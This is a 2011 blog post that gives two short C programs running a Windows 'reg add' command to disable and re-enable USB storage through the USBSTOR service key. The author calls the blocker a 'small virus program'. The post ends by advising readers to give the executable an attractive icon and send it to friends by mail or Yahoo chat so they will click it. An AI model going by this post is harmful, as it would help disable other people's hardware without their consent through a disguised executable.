Powered By Blogger

Friday, September 30, 2011

A Program to block and unblock USB Ports

Here is the source code of C programming language which will block the USB ports of the computer. In other ways u can say that this is a small virus program to disable USB ports of the computer.

#include <stdio.h>
#include <conio.h>
void main()
{
 system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v     Start \/t REG_DWORD \/d 4 \/f");
 getch();
}

Now you need copy the above given C source code in your text editor of compiler like Visual C++ or Borland C++ or any other compiler which you have installed in your computer. Now compile the the given C source code and then, you will see a block_usb.exe file created in your folder. Now apter you run that block_usb.exe file (application) then all the USB ports of your computer will be blocked and it will not be able to work anymore. You can notice this effects apter you reboot your computer.
You might be afraid to run this application in your computer, if your computer USB will not work furthermore. Keeping this things i have also written a C source code to again enable your blocked USB ports. Here below is the C source code for again enable your blocked USB ports.

#include <stdio.h>
#include <conio.h>
void main()
{
 system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
 getch();
}

Again copy these above C source code and compile with your compiler, you will see unblock_usb.exe file created in your folder. now if you will run that exe file application all the blocked USB ports of your computer will be working again.
The icon of your created exe file may not look attractive to your friends if you send them through mail. So that your friends will click on your virus program you need to change the icon of that file. Make attractive icon and then send through yahoo chat or by any means.

2 comments: